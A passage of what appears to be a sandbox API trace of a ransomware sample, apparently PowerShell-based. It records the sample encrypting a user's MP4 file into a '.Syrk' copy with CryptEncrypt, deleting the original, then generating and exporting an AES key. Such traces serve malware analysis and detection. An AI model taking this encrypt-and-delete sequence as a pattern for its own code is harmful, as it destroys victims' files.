lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0259.059] EtwEventActivityIdControl () returned 0x0 [0259.059] EtwEventActivityIdControl () returned 0x0 [0259.059] EtwEventActivityIdControl () returned 0x0 [0259.060] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0259.060] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", nBufferLength=0x24, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", lpFilePart=0x0) returned 0x23 [0259.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0259.060] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xleaz.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0259.061] GetFileType (hFile=0x364) returned 0x1 [0259.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0259.061] GetFileType (hFile=0x364) returned 0x1 [0259.061] EtwEventActivityIdControl () returned 0x0 [0259.061] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0259.061] EtwEventActivityIdControl () returned 0x0 [0259.061] EtwEventActivityIdControl () returned 0x0 [0259.062] EtwEventActivityIdControl () returned 0x0 [0259.062] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0259.062] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4.Syrk", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4.Syrk", lpFilePart=0x0) returned 0x28 [0259.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0259.063] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\xleaz.mp4.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0259.064] GetFileType (hFile=0x368) returned 0x1 [0259.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0259.064] GetFileType (hFile=0x368) returned 0x1 [0259.064] EtwEventActivityIdControl () returned 0x0 [0259.064] CryptGenRandom (in: hProv=0x5c4d3a8, dwLen=0x10, pbBuffer=0x23f096c | out: pbBuffer=0x23f096c) returned 1 [0259.065] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0259.065] CryptDuplicateKey (in: hKey=0x5c99660, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99a60) returned 1 [0259.065] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0259.065] CryptSetKeyParam (hKey=0x5c99a60, dwParam=0x4, pbData=0x23f1ca4*=0x1, dwFlags=0x0) returned 1 [0259.065] CryptSetKeyParam (hKey=0x5c99a60, dwParam=0x1, pbData=0x23f1c70, dwFlags=0x0) returned 1 [0259.066] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0259.066] EtwEventActivityIdControl () returned 0x0 [0259.066] EtwEventActivityIdControl () returned 0x0 [0259.066] EtwEventActivityIdControl () returned 0x0 [0259.067] EtwEventActivityIdControl () returned 0x0 [0259.067] ReadFile (in: hFile=0x364, lpBuffer=0x23f48e0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23f48e0*, lpNumberOfBytesRead=0x5a2e7d8*=0xc477, lpOverlapped=0x0) returned 1 [0259.069] CryptEncrypt (in: hKey=0x5c99a60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24088f8*, pdwDataLen=0x5a2e7cc*=0xc470, dwBufLen=0xc470 | out: pbData=0x24088f8*, pdwDataLen=0x5a2e7cc*=0xc470) returned 1 [0259.070] WriteFile (in: hFile=0x368, lpBuffer=0x23f0a54*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23f0a54*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0259.071] WriteFile (in: hFile=0x368, lpBuffer=0x24098e4*, nNumberOfBytesToWrite=0xb484, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24098e4*, lpNumberOfBytesWritten=0x5a2e7b0*=0xb484, lpOverlapped=0x0) returned 1 [0259.072] ReadFile (in: hFile=0x364, lpBuffer=0x23f48e0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23f48e0*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0259.072] CryptEncrypt (in: hKey=0x5c99a60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2414d74*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2414d74*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0259.072] CryptEncrypt (in: hKey=0x5c99a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2414d90*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2414d90*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0259.072] WriteFile (in: hFile=0x368, lpBuffer=0x23f0a54*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23f0a54*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0259.072] CloseHandle (hObject=0x368) returned 1 [0259.074] CloseHandle (hObject=0x364) returned 1 [0259.075] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0259.075] EtwEventActivityIdControl () returned 0x0 [0259.075] EtwEventActivityIdControl () returned 0x0 [0259.075] EtwEventActivityIdControl () returned 0x0 [0259.080] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xleaz.mp4")) returned 0x20 [0259.083] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0259.083] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", nBufferLength=0x24, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", lpFilePart=0x0) returned 0x23 [0259.083] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0259.083] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0259.083] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0259.083] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0259.084] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0259.084] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0259.084] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0259.084] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0259.084] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0259.084] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0259.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0259.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0259.084] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0259.085] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0259.085] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0259.085] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x1a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos", lpFilePart=0x0) returned 0x19 [0259.085] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xleaz.mp4")) returned 0x20 [0259.085] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0259.085] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", nBufferLength=0x24, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", lpFilePart=0x0) returned 0x23 [0259.088] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0259.088] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", nBufferLength=0x24, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", lpFilePart=0x0) returned 0x23 [0259.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0259.089] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0259.089] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", nBufferLength=0x24, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", lpFilePart=0x0) returned 0x23 [0259.089] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\xleaz.mp4\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0259.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0259.089] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0259.089] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0259.089] CoTaskMemFree (pv=0x3b0008) [0259.202] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xleaz.mp4")) returned 0x20 [0259.202] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0259.202] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", nBufferLength=0x24, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", lpFilePart=0x0) returned 0x23 [0259.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0259.202] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xleaz.mp4"), fInfoLevelId=0x0, lpFileInformation=0x241f30c | out: lpFileInformation=0x241f30c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f437b70, ftCreationTime.dwHighDateTime=0x1d99228, ftLastAccessTime.dwLowDateTime=0x509fb10, ftLastAccessTime.dwHighDateTime=0x1d99c05, ftLastWriteTime.dwLowDateTime=0x509fb10, ftLastWriteTime.dwHighDateTime=0x1d99c05, nFileSizeHigh=0x0, nFileSizeLow=0xc477)) returned 1 [0259.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0259.203] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xleaz.mp4")) returned 1 [0259.203] EtwEventActivityIdControl () returned 0x0 [0259.204] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0259.204] EtwEventActivityIdControl () returned 0x0 [0259.204] EtwEventActivityIdControl () returned 0x0 [0259.204] EtwEventActivityIdControl () returned 0x0 [0259.213] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\xleaz.mp4.syrk")) returned 0x20 [0259.214] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\xleaz.mp4.syrk")) returned 0x20 [0259.214] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0259.214] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4.Syrk", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4.Syrk", lpFilePart=0x0) returned 0x28 [0259.216] EtwEventActivityIdControl () returned 0x0 [0259.216] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0259.217] EtwEventActivityIdControl () returned 0x0 [0259.217] EtwEventActivityIdControl () returned 0x0 [0259.217] EtwEventActivityIdControl () returned 0x0 [0259.222] EtwEventActivityIdControl () returned 0x0 [0259.222] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0259.223] EtwEventActivityIdControl () returned 0x0 [0259.223] EtwEventActivityIdControl () returned 0x0 [0259.223] EtwEventActivityIdControl () returned 0x0 [0259.228] EtwEventActivityIdControl () returned 0x0 [0259.228] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0259.229] EtwEventActivityIdControl () returned 0x0 [0259.229] EtwEventActivityIdControl () returned 0x0 [0259.229] EtwEventActivityIdControl () returned 0x0 [0259.234] EtwEventActivityIdControl () returned 0x0 [0259.234] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0259.235] EtwEventActivityIdControl () returned 0x0 [0259.235] EtwEventActivityIdControl () returned 0x0 [0259.235] EtwEventActivityIdControl () returned 0x0 [0259.240] EtwEventActivityIdControl () returned 0x0 [0259.240] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0259.240] EtwEventActivityIdControl () returned 0x0 [0259.241] EtwEventActivityIdControl () returned 0x0 [0259.241] EtwEventActivityIdControl () returned 0x0 [0259.246] EtwEventActivityIdControl () returned 0x0 [0259.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0259.331] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\xleaz.mp4.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2428104 | out: lpFileInformation=0x2428104*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1600ec10, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x1600ec10, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x1600ec10, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xc494)) returned 1 [0259.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0259.333] GetConsoleOutputCP () returned 0x1b5 [0259.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0259.333] GetConsoleOutputCP () returned 0x1b5 [0259.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0259.334] GetConsoleOutputCP () returned 0x1b5 [0259.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0259.334] GetConsoleOutputCP () returned 0x1b5 [0259.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0259.334] GetConsoleOutputCP () returned 0x1b5 [0259.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0259.335] GetConsoleOutputCP () returned 0x1b5 [0259.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0259.335] GetConsoleOutputCP () returned 0x1b5 [0259.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0259.335] GetConsoleOutputCP () returned 0x1b5 [0259.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0259.336] GetConsoleOutputCP () returned 0x1b5 [0259.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0259.336] GetConsoleOutputCP () returned 0x1b5 [0259.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0259.337] GetConsoleOutputCP () returned 0x1b5 [0259.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0259.337] GetConsoleOutputCP () returned 0x1b5 [0259.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0259.337] GetConsoleOutputCP () returned 0x1b5 [0259.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0259.338] GetConsoleOutputCP () returned 0x1b5 [0259.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0259.338] GetConsoleOutputCP () returned 0x1b5 [0259.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0259.338] GetConsoleOutputCP () returned 0x1b5 [0259.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0259.339] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0259.339] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0259.340] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2441cbc*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2441cbc*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0259.340] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0259.341] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0259.342] EtwEventActivityIdControl () returned 0x0 [0259.342] EtwEventActivityIdControl () returned 0x0 [0259.342] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0259.343] EtwEventActivityIdControl () returned 0x0 [0259.343] EtwEventActivityIdControl () returned 0x0 [0259.343] EtwEventActivityIdControl () returned 0x0 [0259.346] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0259.347] EtwEventActivityIdControl () returned 0x0 [0259.347] EtwEventActivityIdControl () returned 0x0 [0259.347] EtwEventActivityIdControl () returned 0x0 [0259.350] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cff0) returned 1 [0259.352] CryptGenKey (in: hProv=0x5c4cff0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99b60) returned 1 [0259.352] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0259.352] CryptExportKey (in: hKey=0x5c99b60, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0259.352] CryptExportKey (in: hKey=0x5c99b60, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2449694, pdwDataLen=0x5a2e8c4 | out: pbData=0x2449694*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0259.353] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0259.354] EtwEventActivityIdControl () returned 0x0 [0259.354] EtwEventActivityIdControl () returned 0x0 [0259.354] EtwEventActivityIdControl () returned 0x0 [0259.357] SysStringLen (param_1="") returned 0x8 [0259.357] SysStringLen (param_1="/") returned 0x8 [0259.357] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0259.357] SysStringLen (param_1="榘䀜臭༱荹麽援") returned 0x8 [0259.357] SysStringLen (param_1="榘䀜臭༱荹麽援") returned 0x8 [0259.357] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0259.358] SysStringLen (param_1="/A") returned 0x8 [0259.358] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0259.358] SysStringLen (param_1="擁ᵇ얜⮗蘙ꮉ䊪") returned 0x8 [0259.358] SysStringLen (param_1="擁ᵇ얜⮗蘙ꮉ䊪") returned 0x8 [0259.358] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0259.358] SysStringLen (param_1="/AU") returned 0x8 [0259.358] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0259.358] SysStringLen (param_1="㦰鹓⮱㜓嗇筎䪔") returned 0x8 [0259.358] SysStringLen (param_1="㦰鹓⮱㜓嗇筎䪔") returned 0x8 [0259.358] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0259.359] SysStringLen (param_1="/AUw") returned 0x8 [0259.359] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0259.359] SysStringLen (param_1="ꃷ藸鑻ķᙨ飘蜒") returned 0x8 [0259.359] SysStringLen (param_1="ꃷ藸鑻ķᙨ飘蜒") returned 0x8 [0259.359] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0259.359] SysStringLen (param_1="/AUwa") returned 0x8 [0259.359] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0259.360] SysStringLen (param_1="縠킻ꗁ꠶奏튷怃") returned 0x8 [0259.360] SysStringLen (param_1="縠킻ꗁ꠶奏튷怃") returned 0x8 [0259.360] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0259.360] SysStringLen (param_1="/AUwaH") returned 0x8 [0259.360] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0259.360] SysStringLen (param_1="㱫墙\㻟ⴄ뱡ﷶ폞−) returned 0x8 [0259.360] SysStringLen (param_1="㱫墙\㻟ⴄ뱡ﷶ폞−) returned 0x8 [0259.360] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0259.360] SysStringLen (param_1="/AUwaHx") returned 0x8 [0259.360] SystemFunction040 (in: 